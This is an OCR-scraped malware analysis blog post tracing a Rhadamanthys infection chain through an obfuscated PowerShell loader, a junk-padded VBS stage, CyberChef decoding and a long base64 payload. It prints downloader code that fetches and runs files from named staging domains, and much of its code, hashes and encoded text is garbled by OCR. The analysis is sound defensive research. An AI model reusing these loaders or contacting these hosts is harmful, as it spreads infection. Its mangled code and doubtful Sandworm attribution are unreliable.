Malware Analysis - Rhadamanthys

8] 0Oxmrmagnezi.github.io/malware analysis/Rhadamanthys/
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3 minute read

Sample:
fb6402d3ef1fcdd5af327668fas8d41b4
Background
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https://0xmrmagnezi.github.io/malware%20analysis/Rhadamanthys/

Rhadamanthys malware has been notably associated with the threat actor group known as
Sandworm. Sandworm, believed to have ties to Russian intelligence, It allows them to gain
unauthorized access to computers, enabling them to execute commands, steal data, and
surveil victims through webcams and microphones. It spreads via phishing emails and
exploits software vulnerabilities.

Static Analysis - Stage 1

Database Entry

Intelligence €Y 10Cs YARA File information Comments @)
SHA256 hash: [0 a437cf672b353e906d8eddfbebad0ef01f11fa1f554d888d4fae821fcd3d30b2
SHA3-384 hash: [0 £8540bc836bealbe7ablad3280b6ce6d5ba653df36badbfb377b3282827039d0b9309283211472566172921606b91377
SHA1 hash: [0 53ddfc1966c442e1b1a954aacd9927359b43e65
MD5 hash: [0 fbe402d3ef1fcdd5af327668fa8d41b4
humanhash: @ minnesota-fourteen-winner-autumn
File name: qc.psi
Download: B download sample
Signature @ 3 Rhadamanthys | 2 Alert ~ |
File size: 831 bytes
First seen: 2024-07-05 17:40:18 UTC
Last seen: Never

Figure 1: Malware Bazaar Entry

The first stage contained a relatively short PowerShell script that was somewhat obfuscated,
as shown in Figure 2.

5 437cf6725353e806dBedlibebldDef01f11fa 1155408884 ac21 fec3d30b2.ps1 E1 |
1 powershell -win hidden $g72pld=iex($(' [Environment]::GetExihs'''.Replace('xih', 'nvironmentVariable (''public'') + '"\\p9nc2a.vb'))) ;$flol=iex($(

' [Environment]::GetExihs'''.Replace('zih', 'nvironmentVariable(''public'') + ''\\yd2.vb'))) ;function getit ([string]l$£z, [string]$oulv) {$££=iex($(
' (Nh5fw-Objh5fct Systh5fm.Nh5ft.WhSfbClih5fnt) .DownhOhe ($oulv.Replace (' 'J5£'", " 'tps://'") .Replace(''rdj'"', ''e''), $fz)').Replace('h5f', 'e').Replace(
"hoh', "loadFil')) ;iex('szvbarzvb $fz'.Replace('zvb','t'))};$£zf=$ (Get-Location).tostring() + '\\';Remove-Item -Path ($fzf + $(Get-ChildItem -Include
*.1nk -Name)) ;getit -fz ($fzf + 'List of Required items and services.pdf') -oulv
"htj5fwww. kuthbanr4jng.com/wh/List%200£%20rr4jquirrdjds20itr4jms%20ands20srdjrvicrdjs.pdf’ jgetit -fz $£lol -oulv
*htj5fwww.pinrdjapplrdjtrdjch.ardj/at/at.vbs' jexit|

igure 2: Obfuscated PowerShell

After cleaning up the code and deobfuscating it, we were left with clear code, as shown in
Figures 3 and 4.
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1 | powershell -win hidden $g72pld=iex (§(' [Environment]::GetExihs'''.Replace('=ih', 'nvironmentVariable (' 'public'') + ''\\poncla.vb')}); ~
2 $flol=iex($ (' [Environment]::G hs'''.Replace('xih', 'nvironmentVariable ("'public'') + '[\\yd2.v{")));
3 function getit([string]$fz, [string]$oulv)
4 {
5 e " (Nh5fw-Objh5fct] Systh5fm.NnSET fbClih5fnt) . DownhShef$oulv.Replace (' '§5€' ", ' "tps://'") .Replace (' 'rdj'"', "'e''), 5fz)').Replace('h5f",
'e') .Replace('hSh', 'loadFIlT));iex( 5zV] vh siz .Replace( zvb' ,'t'))
6 }
7 $£zf=$ (Get-Location) .tostring() + "\\ ($£zf + $(Get-ChildItem -Include *.lnk -Name)) ;
8 getit =fz ($fzf + 'List of Required it ulv
"htj5fwww. kuthbanrdjng.c /Li jms%20and%20s
9 getit -fz $flol -oulv '3:]5|fmm.pinr '/at/at.‘fbs'l.‘
10 exit
Figure 3: After Cleaning
=] fa SIc] [ = [ = Pc] = [V~ P = [V e -= P |
1 $ff=iex($ (' (Nh5fw-Objh5fct Systh5fm.Nh5ft.Wh5fbClih5fnt) . Downh%he (Soulv.Replace(''j5f'"',"'"tps://'") .Replace(''r4j'"', ''e'"), $fz)"). ~
Replace('h5f', 'e').Replace('h9h', 'loadFil")) ;iex('szvbarzvb $fz'.Replace('zvb','t"))
2
3
4
5 getit —-fz ($fzf + 'List of Required items and services.pdf') -oulwv
'htj5fwww.kuthbanr4jng.com/wh/List%200f%20rr4jquirr4jd$20itr4jms%20and%20srdjrvicrd]
6 getit -fz $flol -oulv 'htjSfwww.pinrdjapplrditrdjch.ardj/at/at.vbs';
7
8
9
10 https://www.kuthbaneng.com/wh/List%$200f%20required$20items%20and%20services.pdf
11 https://www.pineappletech.ae/at/at.vbs

Figure 4: After Deobfuscation

The first URL downloads a PDF and opens it, while the second URL downloads a VBS file
and executes it in the background. Browsing to this URL revealed a lengthy, obfuscated VBS
script.

Second Stage

< G 25| pineappletech.ae/at/atvbs oA

Function Slagbnkens(autolithograph)
Slagbnkens = Chrii{ autolithograph)

End Function
Strammes = o

Jonfruhasr= array(65+5+0,69,77,59,72,73,62,59,66,66)

[set scapel = createobject("uscript.sneii™]

Indestngte = Forrderiske

Tover = BHFFFFF679
Supervitalness = "renskrivende? unsharable.”
Sordin = 3061
Denigrating = SHAF3D
Resemblable - "Serviceprisens? Lilleskselge”
Transcursively = -57317
Barerne = &HFFFFECEF
Stempelafgifternes = "Jinsedge, prosppointment103”
Langfibrede = -15111
Beguin = 12359
Biobibliographic = "Jouliest spaltegruppensgs”
Fagblades = -17833
Juxtaposed = 45142
Cozed = 50922
Fiberkosts = "Chipped. aponeurotic”

- "Payouts gia?"

5 G

Carcharodon - &H4034

forudbestenmer = "Breastie sttimor,”

Delfiundersgelsernes = "Cauponate magtsproget;”

Enevrelser = "Karyotypics?, acquitter”

Epibatus = &HFFFFO18D

Hyrse167 = "Bottomry. uncribbinglss”

outvied = -6823

wrathful = &H3EEL

Cucumaria = -58458

Terningeslagene = H1DD8

uncomputed = "Grandtotal! julemandens16a?”

Isthmal = -19475

Thebaism124 = BHFFFF4EAA

Ggeskallens = &HFFFFC672

Hretiker = "Fatiloguent rustning”

Dionisesl = 19376
3

12
"Hungo! pleadable”
ik

Figures‘%gf‘tong VBS Script

After examining the code, | uncovered clues about the obfuscation technique employed. The
method involved filling the code with junk code, and in the middle of the script, a long string
was constructed. Once | identified the execution point, | disarmed it and echoed the final

command to the console using CScript.
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Fle Edit Search View Encoding Language Settings Tools Macro

M
sHHB G shh|oe|#dh s
B

9001011 1fa 155 21fccic20b2.ps1 3 |Ellnew

O B Administrator; Command Pror X+

B

C:\Users\0x\Desktop\New folder>cscript test.uvbs
fl|Microsoft (R) Windows Script Host Version 5.812
Copyright (C) Microsoft Corporation. All rights reserved.

5 Indestngte = Indestngte
606 Indestngte = Indestngte
60 Indestngte = Indestngte
Indestngte = Indestngte
609  Indestngte = Indestngte
610 Indestngte = Indestngte
611 Indestngte = Indestngte
6 Indestngte = Indestngte
613 Indestngte = Indestngte
614 Indestngte = Indestngte

"cls;write 'taplb Samlingsregeringen Brumalia Glutition246 progressions Statusordenes Nyvurder
es Copyrights Homonymets folkemunden Semipiously Cemeterial undersummernes Vinifreds7l Morainal
Windel Acceptilating Kompleksitet Decangular Sjuskefejlet Vinddreven Tegnebger Anlgsgartneriet
Underdimensioneringens taplb Samlingsregeringen Brumalia Glutition240 progressions Statusorden
es Nyvurderes Copyrights Homonymets folkemunden Semipiously Cemeterial undersummernes Vinifreds
71 Morainal Windel Acceptilating Kompleksitet Decangular Sjuskefejlet Vinddreven Tegnebger Anlg
sgartneriet Underdimensioneringens';If (${host}.CurrentCulture) {$Spicehouse2u9++;}Function Vol
planes($Milliardren){$rebait=¢$Milliardren.Length-$Spicehouse249; $Ggepulveres214="SUBSTR' ; $Ggepu
615 Indestngte = Indestngte lveres21d+="'ing"' ;For( $Regnerable=5;$Regnerable -1t $rebait;$Regnerable+=6){$taplb+=$Milliardre
616 Indestngte = Indestngte n.$Ggepulveres214.Invoke( $Regnerable, $Spicehouse249);}$taplb;}function Tilhre($Miltsick){ &

617 ($Parakelia) ($Miltsick);l}$tailforemost=Volplanes 'AnnotMAtiono bilecz Skr iMonstl Teks
1Snyd,am.com/Mat r5Acerb.Pyrro® Lsen Aflv,(Knas, W BlreiBlavenF.inlda gadoPersowDrives brov Leo
nNRoupiTGoust Hjhed1Situe®E erf. Shri®Smagl; E.ga ,avneW Chy,iCircunBededé, K appeldBende;Misch Sus
sexRevanéBjrn.4 Trio;Anven T.dssr rivivPu ga:ChugalMa.gi2smit.1l Cons. Comp@C,eni),onpo Ade,iGIb
idieE,lasc Recek P atoSu te/Poste2 Ting@salpilPendroThyge@RitralBl,ge@Overnl ,ovs TetraFKomm.il
ndicrPaleneGe, kefsinguoTe.nix Kvit/Fa,eelDrupa2 KriglNonex., agblONonun ';$Transformability=Volp

PR R

618 | Function Slagbnkens (autolithograph)

Slagbnkens = ChrW(autolithograph)

End Function lanes 'HindbUGre.dsSvedjeQu.ysrFodno-NonreAVelm gSo.lmeTjen, nFescetAc iv ';$progressions=Volpla
nes ' ProchU.klitWagont rivepFrerbs L, xi:Moonc/Forbr/UvrdiwUnisswUds.rwHerna.Analya M.nnlbilbrm
for Nonnasal=0 to ubound(Jomfruhaar) B strrAnbefwRive.aP rdodbrabr.Brugsc.overononfomSuper/Nona mH.shenTilde/ajospU IntedUnfr,1Skole

iSkaangtrevrgsoloueRea, prMethasSejrs.SolbehStyrehEtablkActin>non, ehDimentTilsetDim tp PrepsGeno

Unitarisk = Unitarisk & Slagbnkens(Jomfruhaar (Nonnasal)+10)
Next

Fjumrehovedernes = Unitarisk & " " & Slagbnkens(34) & Indestngte & Slagbnkens (34)

|WScript.Echo Fjumrehovedernesl

Figure 6: CScript Output

After cleaning up the code, | discovered an important function that functions similarly to a
regex. This ‘regex’ essentially counts every sixth character and concatenates them into a
new string. In Figure 7 you can find that specific function.

If (${host}.CurrentCulture)

4 {
5 T $Spicehouse249++;
}

Function Volplanes (sMilliardren)

I 1= R

9 $rebait=$Milliardren.Length-$Spicehouse249;
10 $Ggepulveres214=" TR';$Ggepulveres214+= H
11 For( $Regnerable: Regnerable -1t $rebait;$Regnerable+=0)
12 | {

13 $taplb+=$Milliardren.$Ggepulveres214.Invoke ( $Regnerable, $Spicehouse249);
14 }

15 $taplb;

16 |y
17 function Tilhre($Miltsick)

1 {
) T & ($Parakelia) ($Miltsick)

TingO ilP it
$Transformability=Volplanes
$progressions=Volplanes

n—SwallcVonazra ~1infilf

Windows PowerShell length: 19,317 lines : 144 Ln:16 Col:2 Pos: 958 Windows (CRLF)  UTF-8.

NS

Figure 7-Regex Function

Understanding that function led me to construct a regex in CyberChef, through which |
successfully extracted the next stage of the malware.
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Download CyberChef § Last build: 2 months ago

Operations Recipe ~ 0B nput

Options € About / Support (g)

+ogF =

Prochu.klitiagont rivepFrerbs L,xi:Moonc/Forbr/UvrdiuUnissulds.ruHerna.Analya I.nnlbilbrmg strranbefuRive.aP

repla i - "
P Regut=sExpresicn o rdodbrabr.Brugsc. overononfomsuper /lNona mH.shenTilde/ajosp
e R TIntedUnfr, 1SkoleiSkaangtrevrgsoloueRea, pritethasSejrs. SolbehstyrehEtablkactin>non, ehDinentTilsetDim tp
User defined PrepsGenop:Alryd/Manco/TolvmiKvikrutaljen Sten.Nekroe antarch npflagn-Nonasr OndyoSttteyVandgaDefacliikro-
St enrht swallcvenezra.cliofilfow Lam nGigge.overgiPinlinlvrksfHexaso C ri/ Gastm vrisn
7 Eska/Ph, 1 iblEuropiBarnegFe]lsg h,rS, ccesOverf.Unr, fh GuilhPhospkPrint |

ROT8000
Remove Diacritics 2
SHAO Case insensitive A and § match at newlines
Streebog

[[J Dot matches all  [[] Unicode support  [] Astral support
Substitute

Output format

Favourites > [ isplay total List capture qroups e sms =1 [ T ———
Data format Output B0 ®E::

Find / Replace ~0n
Encryption / Encoding . https: //wa.almrwad. com/mn/Udliggers. hhk>https : //ww. erp-royal-crown|. info/mn/Ud1iggers .hhk

d
- EXTENDED (\N, \T.\X..) ¥ Replace
Public Key

Arithmetic / Logic Global match  [] Case insensitive Multiline matching
Networking

[J Dot matches all
Language

utils

Date / Time

Extractors
STEP
. Auto Bake
Compression o =1

@ s Tr awytes e L

Figure 8. RegexX In CyberCher

22 0y

23 $tailforemost="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 ';

24 $Transformability='User-Agent ';

25 Sprogressions='https://www.almrwad.com/mn/Udliggers.hhk>https://www.erp-royal-crown.info/mn/Udliggers.hhk ';

26 SFalsificere="> ';

27 $Parakelia='isx ';

28 $simar='Copyrights’';

29 $Supperne ='echo %appdata%\Visiteres.Hud && echo t '

30 | Tilhre ('$global:Brnefdselsdag=(cmd /c $Supperne) ');

31 | Tilhre ('$global:Glutition240=$progressions.split($Falsificere) ');

32 Tilhre ('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::T1s12 ');
33 $Deliciousnes: ('S$global:Lnningsdages=New-Object System.Net.WebClient');

34 Tilhre ($Deliciousness);
35 Tilhre ('$Lnningsdages.Headers|[$Transformability]=$tailforemost ');
36 | $Benzinautomaten='SLnningsdages.DownloadFile (Sprogressions, STegnebger) ';

37 | Tilhre ('$global:Givable=(Test-Path $Tegnebger) '):
8 while (!$Givable)

39 1{

40 | Tilhre ('$global:Mekaniserendes=$true ') ;

41 Tilhre $Benzinautomaten;

12 Tilhre ('Start-Sleep 4 ');

43 Tilhre ('$glcbal:Givable=(Test-Path $Tegnebger) ') ;

41 Tilhre ('$global:Brumalia=$global:Samlingsregeringen++3$Glutition240.count ') :
45 }

46 $Existimatio

47 $Basigenous: ;

8 | Tilhre ('$global:Homonymets = Get-Content $Tegnebger ');

49 | Tilhre ('$global:Anseendes = [System.Convert]::FromBase64String ($Homonymets) ');
50 | Tilhre ('$global:Cemeterial = [System.Text.Encoding]::ASCII.GetString(SAnseendes) ');
51 Tilhre ('S$global:Purplewood=$Cemeterial.substring($Existimation, $Basigenous) ');

52 Tilhre $Purplewood;

Figure 97 After Decoidng the VWhole code

As indicated in Figure 8 and 9, two URLs have been identified containing the next stage of

the malware.

Third Stage

Browsing to those URLs revealed the next stage along with additional files containing other

variants as shown in Figure 10 and 11.
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6wIKLUSCyby73j0IAHEBN3EBMN c IATrAgnOCQEbukih AM21XxAZ txAZuBSUZ Lt TLrAvhu 6k FHIHX] 12Gh3EBM3 EB3EBN+5 Cue26LErpBOSCTYxXXAZEXAZYPAS EFMCpXAZYrAVKTIRQLEWK h+5 CRGIRAUSCZSIrAN CagBEECOG WK YHGMK1 1BX2 6w I6AXEBN4t EJATrAN7h cQGbicP rAh61cQGbgc HEZZEECQGbCQG

WIBKTHyvr/F SusCaU BSjAxua ZtxAZVrAP9T CQGCQGbiWQ 1QuT6w) 21NEBMO IXAZ tXAZUB+VhGBQB1 20SCVpPXAZUIXCQUEKAV3EBNAHTAAMAADSC O,/ A2 111QKCOSCGEVPANKY 1 3wkBHEBM+SCVCNI6+5CENSXAZ UBHSWARADIAKS 361 L6G1PrA1Z 06K 2MGPACQGDEL
3/VonréuThlesCE LEF(QGDGNK( t QGb6uL 9jXragkg 1BFTCQGbWI+Crr /CQGb6K3NOPCBESCTIUXXAZSXIUSCYITrAGY SHCNPAGEMEWLOO Ts aCQGbEWINSUHA 2 86UKGAZKCCn Xy 6wIAL 3EBNOZXAZ tXAZUAFAR TUHXdC
QGbcQGb10QK/HEBM+5CQ1 RuqLFCQMCQGbGUL kvoE@B120deHrAgx6uKLr rAgahcQGbiFtXAZEXAZv/13EBN3EBM/VLDENX9qVOUQkWBa/ 14D/ dus LNFNREYCkpZDHSBP SHuuD10v2C1 Qy7ud+H2RegYafN/ ATISRONTP akF5t9
QBBEﬁ/SmBTQGeCngyLZSSsBBJLEEOgUSllkﬁQ?thAkx7F>{1llAHITstXK+kx(FPAsx(mZGKD)xudZJeOHmaut&m@sEA:lentzHlFUaAu/vrvdeGtRNqH!TANRN1LOEN(ZOKLQHTBZEDHdEthJlVOkunFEu7NE7RgthxLuEu]tLDON(szg]inH]RDZ]hszn\fI/ugsZaBPtheznunCoBGVOm3d+F(M\rxelquItG
3d+FaufCBozGK LGFznVouV UCTiVV3VnOTDNVi 2E ImBxwdd kP+mQ423XhZB3xF JQPNSXUIp/ pHc78VEB2 20+gNBACa SN2XHr2mt Sb30pNakd cDIOPCIGy TnXhUBP61FnOBCnX g2 1buB2ryzr3pAnc znDh3Te1vPC7/KRORT 05/ XGMANH+F2zvRCBME14F
XodeFISlAqXM?SZJTodeGle3kXEukV(GyPDtc qiCI+Ca12rIXNT! ISTSHCTBZGZ G97hj aFUTNeHpgKOpaPzna32806n 121VKg 01HYCGEeD] CznplHWX14ZD/UpI 7u2gHIVH9 36+RQBHTE 12GI20e+1QF22MS3DPR2F 1esVBANIPS 1K1K/ Wx2

rrbj10s/eE+Cam3RbNC ZHTXxKHA3SQEE GMihLIU+3CN3B130HCL Fs1vin WIgRKpr482@D8OAT j 13V1TTNB/X6y0dy6C87xT¥UMgh3WI57rFPRBIZ5CTIICOHVK22340u521 P SuQi CrlgqnD T +gFPESNAULXEME1 tyQxHY7 /N 1n/ 75 +4AHF6mZh1PQNG/ OOl
SNBkvY7UGDrUE MUAKCRT 55MR/ CY KnFZPg7dR/ehgqrp: 10UNTbzYLHVA46APGPCOXZ TFYgSTcgt /QRaphUomuT1TENZ 59KSA1bVH 1§03 1uc1Qba3 Ty FNEF TICNQNFX43TXDANIXIN3VLXTywFe0l 19KGuHS 3K4ATTUF THLGI FRHVHZ4@DVKP32£00G ¢/ TH5 2401 TZpL3TusKYXhXHH

X02/16b0607+71Uv 4 202UBHKXXIMS 142 0P 2nXhXHE 14V20eF C2nXhXHS Lo LmySrHBRF TRNC 20 bPRAFIVE +H55n 56 et02FDka) na2NEQUO F ARUS $@AGELK Jymh LXKXADURBOHAFYNOE Uy a4 JXGLXBp611RaTHegSuSl/HRTZHKNS gAxh/CYyzK 1y  gnk3 g JONPE I UAZOS UUXQRp1CDEOVMUI20
DZ13n7uuhi 2+yApFURPLNYiD7bSU/6anYrVKEhH1LZTAcHWNTVYLYAS IgvAgy eKptunXr Ajbmi AZ 6HKS Xy uV S FUNZQIMCBKDGGCE7 PXH2HJXHAKIPYOGZ FdP22V+erBEPRX 1H/dDHI 1603 dUoF0,/BAEupTdCDe i ntdHhPeoB1yDzdAh /vukilapIBXT5UTEZKI CTHSRFT+] YrhIUEL Ang23Dh1VPLAF 20/ CINA7D6L
RHOENCOY) 3dyyGkGenfdUsdOVBSG2Z0ABR138MFgZkE0BME2Zqs st ixVNKypHPNTQG2q+20brit6 ZNZENCUCH2r L S65624D8X0CY30dbD1nz /ZRU+BEUN/ CHC tgzZp@k+EPL ivsmhNOESFoolTxk GEFLKSOPGEVR21aC7XAQUHZ FVLLPMCXK pV@+3Da5h FmC20GCZSkd /81SpgK thaafli
2y41XLIC7ITOQXt7AC SXawsV1he6/+Btas s38qenz 1Y FrruDlusk LTalLuk /FXFhKE7qzaghK3F6R 5] 45 amMSDHEDKD31 /E UL437EDZHVUOHXEK LV BEYYZF TirzCONGCXLANPHCVYdNrhkKi+SSEET/ 18asamotindd JRIKSRNEE+)76VLrXZ7 JELSVCe+kuzYG] qFVANXSbVi 68N te8DKMVE/QTVU2s iNekz XIHVFz
794rci NS CHFUFNFeMUBACObIHHASE / TBS ppTwi/gHTHOGF Ly 1 gDeS IbtB276H5D]LEwh]hj4p10CPOSEXAF/1q1dzC2TOHF PFSrQpui81xZPOXYARhULETWZZR/ /Q1ZUMVQSS/ANV/Ohk]bRU1KSOMZHOCEX3AUPC76]670aZUZQK 2+0e GKBXGOUVL e20a9Pt KNLWOEHSa eTX24UVHe 541£CS
EdnzTBVBLFL+tFshug4Fe0eCOYxidS 3UNT Xp6FTRg X psPHD5Ud 62 JWBLBR2 FINRUESHX6@HYG72 8V714T5 36 11LdQ3vGN 0XtGIBEBX hPeF £ 2nXhX!S 14V 20deF cznXhXH514VZ0deF C2nVz5 psy 8FdixoDoal 7V/1eX7QPCURCQFB XIS 1atFKdeF cnMOy+CY 1YKGD2peMT4eV/ x40YKACDOSHTS +H1SZUT SBHKUBLU
XPYnL520xNofx2GDkvphMAGEULY LRv1AWD Oy kJugKPAKcGa/+/MT6+Lin0zmC1SL dEKSHXDOZOrQTF e588pcp 1tuOnU uHTAIDO] tuYKEET ckcne 10vad0OFNkBDOhayBug1/ohjVz I7ugcHatR5HNCAN/G/ dO1KxdUrS LBaNaY s TN/ LBK 1SXwOANHSHF dznkly54UOTYIPhnjuvGRer/Rn1bNPhiuh? SBgr+VTRCZ6H17
22p82T8G6PSDZU+1Dud0xX/ FavVh TXTOWIGHTX3+ATY/+tZHA/9x IZEJ1Gm IXNLHVAMEDNVWOANLY brVe+XgXH7LbOKE] rLnykTvGU4G 385S5mCFZ 1+ 75U+2/bH2 2DHAR SKERFMT 21 21Yralif I SQs43 72CVZy LDy ROTHRXQEP V35 ImuROk+H RZpdgxvI3j7e6D6G
R1OMYMGTP 9CC++217 nXhXH514V20deF: 4y X/0gZ Tv1GXDRD] Uk /K8UeSgniikj4UgXdPFHDL7VET gLYNY,/V30A42d/+b3S58Dak7K 0z 3SRQUQS 1Rz SCSYUQIRA7ehbLUBh7dMS IXYAST1C1 Y IyGB6VZX+VMZPdeGaG2XKXE FuyV30dbf 100GIme+24CUHI2
CqSEYMDE+DX]Z1 11100/ 90hoRQ7 IKBCZZXUHPI thyJU+5Lprg6962/ 14NpHADHSMGY YL LXE fuoV30dS1XKHV257yf FSZX1 1MX5CDts9C0e J+ByrLZbINENESINEV/ / J1PFUSBAWeCQ13B8Tg8 FOQBNNTAT®, Dl XPQQ+B7argtS /AZVie 1HZ TWE/CV7 21 quX@0zZTPe t1F1pN
nS5myG94udCFIGTECIBTAVp/UUE L 12R8DGTEICPS 12390NTd+ 1ECOIUYGIqXeTaE FTIIeDK3KaNC 2607 LCSGEGDUZUP h+L+3eVgr rXVIITSPN212/B0V SnULVEY TN TE JqgHYEOMUUZE T VP4 +P3X/ SORETXCpUS L2 gHbL 2NN ThXHFMZGELeUFHPIXNXIfS 14V20deF CZnXN XI5 14V 200 eF CZXNXASLOFXR
TFNCOWKB+vFt218G7T24F+XN514Vz0de FCznXhXM514Vz0deF ¢ znXhXMS 14VxYFDKA /I TK1aBuL U1XtOL1H7do\ VJV t q+20xxMNXTp1/ rh+K6e2YV03I TELHPUNMHEUS+CDAGOZIX8p/ H7 17121 Im3TAGO LHEAG+ CADFuzS2G1mé CTOBFTOMNVITY1 2020 b+ rimn
0T +CBCQ2xR0a181zF 3uBZ653 Ir4KXBhCAHCbQGSqMC FOEVbOdeF cznXhXH514VZ0deF C2nXhXH514VzOdeF czvgl +rhidqa NgdhnFr/GZn/DBu147Y/DTOOP37VpHF yLFEXDUW3Y31g0ny zrBStZC znXhXH514V2 0deFCZnXhXH514vz0deF cznXhXEXTCx
VN(UV‘HzSK]MnAwSBl5z1guHH(gXMng}QtzlrSSUAWRleFukhgFTGGYgESQaOde+Fch+1kStGJmZadeFcthXNS:\AVzOdeFcznXth1514VzOdchznvmchr‘XMCFEV+1FkAIEReszASIX/DSJ/BaanIpsKL?QPQ%&MZKQ%X@GWSr‘gthMVZOdEFczn)(thSMszdchznXhXMSMVzOdXH/grBBHQZhL
4NXr6hG/PQNbXII+5d8d/ CFSF: cti AnmKE TC 1dNPAKNITFIVABrKHS XC/NdOYE 1aaAgZ3NCVAHXEy SG24EDL 3 pPEIyRE T g5 +SEpS RHesGHVIIAga0k 3BQOVGUr R 3pxULFDPTCBOXgHNZL7 1385 v1ULpJa lryhevt31US 65Eqoun/ 1caVZ0deFC anXhXH514VZ0dercznXhxtis
4V20deHLB2+LIPHi@0T6gENTC! bKny ZHEP GKIWHIAKF /c+HLYYm, o 102K29Rp3 FhX]2Ps OF Mp2CUKbxd3k+H+ Tnt SHCUP8qE: /NtdeisT L IDU3HYZX+7d0863H+S5U75SOE sy
EhpslluZav\/B7SHRRXB)Qllerr‘llssnAB(AUJUCHNTQ'MR+/FF2LllsQaZsQGQVqByC/AsmkadsIA3+FuNquZ!tx1xlfu32DTwVK /GPSDhTAZr+1, 57L27P THgaR6 Tk 1X716rA0] amFPHCAH+smy7v-++LRXKE10Q/ 7gFSjur 1vC420sHnIHTKNTRYHN/ Sshic
X14TSaNArNns@7 /14FHzFHOZ 1B pKx6gKBULDNS3TN3 VKX TmuliqLn3 1F eoX 1K 1FHFHB1 Fb 16 3HLD/ pHpC7 IHCGSUGE 1F JKqM1 CGNUSZIHGSX) 1vHPLs/PAYKqe916296EGG]dX63mS7ELQV/ WAy JAHS+B14VPQ1585FQGm UL +n/SAbDETYBNGBY/ LyNFOL J+ezHNOBa62/ TiRO1S OBBHHIrpX tPOSXF
9EZP3b9elydc1IS4y  IN/ya8EHC 7320 tiy2adT/247 3BQSEDHGT3HF 8aCa72ABHNZ ELCHO y cd/ nAN3 NS 1uhk L 23 38 VE Te4DNGUPKICOg 1P FpGHUAE B XNKSeVTd4 LELFOMT7L3VG+F CZnKhXS14Y Z0deF c2nXhKNS14VZ0deF cznkhy lIKi 1<y ph7/ +XKKawT U6/ YensYgel
NAXSNg7BANBNZnXhXM514Vz0deF cznXhXH514VI0deF CZnXhX!176Q+H3Cr T303RA2VVKY 3KUR/K1 LdgcOpsndXCT1+HULA 13T 70VIHIB S sUBG3QjuJAW3 I3 3VLHT Tua jwoSFgomdnd278bKABB2E ST TS £/ MKZGCY6kYid]y 1 sFIUMIGNXg60L CpY2by jGp1d3x0j FUDYDS91jID@2Xh CUo1UpIF1TELBXHMFPdeH OV
n;zzom\wa(vru17ha+sgrpswcwmupzpauHn;kaQLkuuwgzqemlksvarxsnzujmssgawvzmsnn?mnamfuvezmzjuvaebwqbszquguw;gw/msFanLFnFkgBethcsrmsue;gafmaprmn /niyaHh /PNPZOPSGC2: 7HiBUSEZTVPAS ttdz TuBCzn
rFNROX14VZOdeFcznXhXM514Vz0deF: Tohcay: 2zr1VR/TS5Fgive v Ty7XqG6TIR091VkAghadbB/YxMFHPBOILF1/@uts1dasifatnt cVy/HARQCSNOUKy Jegbd LbdasurexBPQOpuNmpuos /AJdoeh] 1b5Q1 2XeH13tQ
5TKJAqxf/85rZ\-ALCBt\r+)BPQRachpQH)eE(HakEHS@ul\IPSSMHayLwXuEKnSDMHT\-quAh14VNDfFBcz)nJX(N\-AAZEHSCYQVQPPRij7Aqk0mVagGAp959]RXhOAun/1hK7m6MM5H7F101g]K3t p UGORNHE +HZpSRN2hmVFFrmb Foua LFXXRAN1XEUD+ bRLIK+HZSUBINNKL 23 2C 0/ FYUZUTd/0G
InAaliMAmob7 7HzdPWe VPRIV jZLbADYUVHATOEGKKRI ANUVIAXAfOZ i 8e J8F5p9@72qdkbss i RAG/ YMIE24/ rREDCGYN7Rap+Nvg FLZN/Ofv+P2LXudN52ZGCH2INUni gfBABGFZNXhXH514 ZnXhXM7npLESXB pZXCTpIaZOLHOSEY / IbGKq3SCQHXeGIA+qZY FDUS+DhFZOdeF
CZnXhXII514V20deF CZnXhXM514VZ0deF c! 10cepl1Xsja120y4; t15: nawnsao(ztgtneJrkuvawmxzmammgavjmetfLcRxsssqr(/yt/qRnnyuu<aaMsyvuu/o5nynzmlqumnhsmcxmsans1vneEemnquLynlKve/ursuxaaoswcqo/gumsvlﬁxukwKc/o
+VR2P+X6Y 9QuQUANKRKKNGUNGT +eBFhVYg1bPNh+dHAPTCB2AAGF 2/ 3TAFLKg+IV14+X/0aRXYVDXLUACCA/ 25 vkhaquAT c2e 1251+ aPBASJe1128yPhaunT uTSSUm/ JFSKDI38HRCENKSETFNT+11/msucVCIvITSSPTIWGYI /M/KAARIVVNFRGHBT £CnSIx1 35KV/ ShStXPxk0a QB rZnRMve /VKS /ZgKVoAGTWE
Ldeznvqszh}dvy700nhLHHthQR/q(NQ(PPln?SESSq\APZ/PHchlpr‘ngBtDyZH7DoxekIAyPUF+saLde+]PRBHwdRSTM}eDeSkaDiP\-A1H><VZqAaSSt3czg71KtAZkDgCa\rJ<LbZJuthSBNWXOVquEDuQZSPUJhsbgsb+HumcdochXQSRSSﬂAVzodeF(anhXMSjAVzodeF(znxhXHS]A\/ZOAJ}uNa+eeryrA/i

T2LQNU+RCNH+2E. NEHE uxd Nknmqmnsowmouasss](ms;usxman/gv:pakhesws/u/snuvsmwKp7sesss7w_myzowaesca3ansutevchgsvgwe5y3rmzJDNrssvzomeswkcfg/pnvq\qKeovsz-x
PdeFFSTdqDHZTOdNIQCMA062US/ FUTWLKS JWCR3WA TABS6r8qT 1/ D/DGafikaywce/ TDGER4+IVRNIVKStyel Lile: 4Vz0deFc cznXhx: ANOpOF 1HISIcxC 2KRKIS 14VZ0deF ¢ 2nXKHS 14V20deFCZnXhXEnZKxul CDpEHThXFUg2t
1erﬁHQXXUkh@VtVlEDtbuASEJR(()fdupFObBSﬂﬁde1Un2w]QbZDuKudﬂg2§\/zquEOZLFlyA]xDMzUuZuhRZgQBRﬂSK\/)MZBdLVISplqpvéHtFAdOF(uQNuEZ]EA\/ZBdPSlZnXhXMElAVdeeF(anhXMElAVzOdeF(anhXM7S+Kz(ht]/Iebue}ewhvkk]lqQZIISBSVVZPstBJSZPADBSWSaSFBJEE\/LHTMfan
Hsh’\TSneuw‘HUPaENvMIKF\ISBqOngBJSVPthtLOAPZzFE+GIl7T56yjxXTggStA\IQFLAFZEySgr‘VGth]DtoevaNgr\stNAKczy]Go1thhlgSLxPhyj/prgtuaJ1AiDh/DIhZEwae\/ﬂExTTEnvaAed31411115{IwHHCnhnszEQOQL:yOAVEQPoVAlKHv/VHSZquOnIwaw‘uQ{k(\lDuXFthcVSLZp}Z\WB(tya
